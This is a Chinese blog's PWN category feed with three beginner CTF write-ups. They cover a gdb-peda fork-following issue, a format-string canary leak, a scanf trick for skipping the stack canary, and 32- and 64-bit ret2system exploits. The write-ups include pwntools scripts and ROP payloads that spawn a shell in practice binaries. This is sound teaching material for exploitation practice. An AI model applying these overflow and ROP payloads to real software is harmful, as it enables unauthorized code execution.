菜逼 - PWN
type: channel
link: https://blog.chaol.top/category/pwn/
description: pwn
items: 从一道简单的64位pwn练习题记录一些问题
items: PWN(格式化字符串+canary绕过)两则
items: PWN writeup三则.

从一道简单的64位pwn练习题记录一些问题
type: item
date: 2023-09-02T07:52:37+00:00
description: 附件下载 tl;dr 这是一篇pwn入门的笔记, 主要记录一下gdb-peda在调试多进程应用时不能正确中断读取stdin的问题, 具体表象是运行时会打印日志[Thread debugging using libthread_db enabled]和[Inferior 2 (process xxx) exited normally], 且不能在程序读取stdin时中断等待输入. 解决方法是设置变量使gdb跟踪父进程即可: set follow-fork-mode parent 1. 静态分析 Ghidra给出的伪代码如下: undefined8 main(void) { undefined local_18 [16]; system("echo -n \"What\'s your name? \""); __isoc99_scanf(&DAT_004006c5,local_18); printf("Welcome to the Pwn World, %s!\n",local_18); return 0; } checksec结果如下: Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 整道题还是挺简单的, 但是一个坑点出在system("echo -n \"What\'s your name? \"");上. 一般而言, 程序输出是直接调用stdio的函数向标准输出中打印, 但是这道题可能是为了提供一个call system, 所以用了这么一种打印方法? 到这里还没有发现什么问题, 直到使用gdb动态调试的时候遇到了坑. 2. GDB调试 当使用gdb调试的时候, 调试器并不能在scanf函数处自动断掉, 日志如下所示: gdb-peda$ r Starting program: /home/kali/Desktop/babyrop [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Attaching after Thread 0x7ffff7dc7740 (LWP 3677) vfork to child process 3680] [New inferior 2 (process 3680)] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [Detaching vfork parent process 3677 after child exec] [Inferior 1 (process 3677) detached] process 3680 is executing new program: /usr/bin/dash [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". What's your name? [Inferior 2 (process 3680) exited normally] Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled off'. Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated. Use 'set logging enabled on'. Warning: not running 但是使用无插件的gdb就不会出现该问题. 原因是system函数开启了新的进程执行echo命令, 而装了插件的gdb会自动跟踪子进程从而导致从父进程中跑出, 因而不能自动断在scanf处. 解决方法就是在执行r命令前设置变量使peda追踪父进程而不是子进程: set follow-fork-mode parent 3. pwn 64位程序的pwn思路, 概括来说就是: 找到pop rdi, …

PWN(格式化字符串+canary绕过)两则
type: item
date: 2023-09-02T06:04:37+00:00
description: t1(格式化字符串泄露canary) 附件下载 拖到Ghidra里, 伪代码如下: //... //main() local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); puts("Give me your name:"); my_gets(local_18,8); printf(local_18); puts("your content:"); read(0,local_18,0x400); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } //my_gets() local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdin,(char *)0x0); setbuf(stdout,(char *)0x0); puts("Give me your name:"); my_gets(local_18,8); printf(local_18); puts("your content:"); read(0,local_18,0x400); if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } //.... 有一个printf, 还有一个自定义的my_gets. 可以先利用"格式化字符串"漏洞打印出来canary的值, 再利用下面那个gets()实现栈溢出,溢出时不要忘了在canary的地方放上canary的值即可. 此外, 还得利用设法打印出puts的got地址, 再计算出system的got地址. 先要泄露canary地址，gdb.attach(p)在栈上找下偏移。这里还有一个不同，x64相对于x32多了几个寄存器，rdi，rsi，sdx，rcx，r8，r9，rdi是格式化字符串，%1就是rsi，%2就是rdx，栈顶的数据就是%6$ plt.puts 是%7$x ..... To be continue t2(scanf跳过覆写canary) 附件下载 拖到Ghidra里, 伪代码如下: //.... long in_FS_OFFSET; int local_6c; undefined local_68 [88]; //canary long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("Hi"); for (local_6c = 0; local_6c < 20; local_6c = local_6c + 1) { __isoc99_scanf("%lld",local_68 + (long)local_6c * 8); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { //canary /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; //.... 有canary, 但是scanf是按照8字节为单位, 一个个读取输入的, 因此可以设法略过对canary的覆盖: 先略过(0x60 - 0x10)/8 + 1 次scanf, 刚好跳过canary. 再略过一次scanf, 跳过ebp. 再即可覆写rip, 总共略过12次.* 经查询资料, 用"+"可以略过scanf. exp.py如下: #coding:utf8 from pwn import * from LibcSearcher import * #canary: rbp - 0x10 #buffer: rbp - 0x60 elf=ELF('./t2'); putgot=elf.got['puts']; putaddr=elf.sym['puts']; mainaddr=0x004005f6; popedi=0x004006d3; p=process('./t2'); amount = 20; counter = 0; for i in range(13): p.sendline("+"); counter = counter + 1; #这个payload用于泄露puts位于libc的地址 #popedi将puts的地…

PWN writeup三则.
type: item
date: 2023-09-02T06:00:00+00:00
description: 1. 32位有system()和/bin/sh 附件下载 先拖进Ghidra中静态分析, 主函数如下所示: undefined4 main(void) { char local_20 [20]; undefined *local_c; local_c = &stack0x00000004; puts("Maybe you need /bin/sh"); gets(local_20); return 0; } 符号表里看到有system函数, 地址0x08048340 字符串搜索, 看到有"/bin/sh", 地址0x08048566 (0x08048557 + 15): 命令cyclic 200生成测试溢出偏移量用的字符串, gdb ./ret2libc_x86开启动态调试, 输入测试字符串, 得到crash时的EIP的值为"haaa": 命令cyclic -l haaa得到偏移量为28. 构造payload: payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + p32(0x08048566); #payload = b'\x90' * 28 + p32(0x08048340) + p32(0x90) + b"/bin/bash"; #这是错误的 注意, 这里为system()准备参数的时候, 应该准备字符串"/bin/sh"的地址值(指针)而不是字符串本身. 另外, 对这里的system地址做一个解释说明: call指令实际上让cpu做了三件事: 保存现场/ 加载下一条指令地址/ 跳转执行. 所以在布局内存的时候, 根据system函数地址的不同, 有两种做法: 使用call system的地址: 直接布局call_system_addr + bin_sh_addr即可; 使用jmp _system的地址: 需要布局push eip, 即: jump_system_addr + p32(stub) + bin_sh_addr exp.py如下: from pwn import * p = process("./ret2libc2_x86"); offset = 28 jumpsys = 0x08048340 binsh = 0x08048566 # 这里的0x08048340调用的是jmp指令, 所以需要放置一个32位的任意数字用来占位 # 当然, 为了通用, 完全可以用binsh来占位, 这样无论是jmp还是call都可以通用了. payload = b'\x90' * offset + p32(jumpsys) + p32(0x90) + p32(binsh); # payload = b'\x90' * offset + p32(callsys) + p32(binsh ) + p32(binsh); p.recvuntil(b"Maybe you need /bin/sh"); p.sendline(payload); p.interactive(); 2. 64位有system()和/bin/sh 附件下载 和32位的区别就在于64位的调用约定是用寄存器传参 依然是Ghidra静态分析, 先看看主函数: undefined8 main(void) { char local_18 [16]; puts("Maybe you need /bin/sh"); gets(local_18); return 0; } 直接在符号表里找到call system()的地址 0x00400480: 这次用工具ROPgadget辅助查找地址, 不用Ghidra手动查找了. 查找字符串"/bin/sh"地址(0x0040069a): ROPgadget --binary ./ret2libc2 --string '/bin/sh' # 0x000000000040069a 查找指令pop rdi用于传参: ROPgadget --binary ./ret2libc2 | grep 'pop rdi' #0x0000000000400663 : pop rdi ; ret 计算偏移量(16+8=24): cyclic -n 8 100 #生成64位的fuzz(其实32位的也可以用, 效果一样) cyclic -n 8 -l caaaaaaa # 用rbp计算, 需要再加8个字节 # 16 cyclic -n 8 -l daaaaaaa # 用rsp计算, 直接就是正确的 # 24 构造payload: payload = b'\x90' * 24 + p64(0x00400663) + p64(0x0040069a) + p64(0x00400480); srop 附件下载 参考…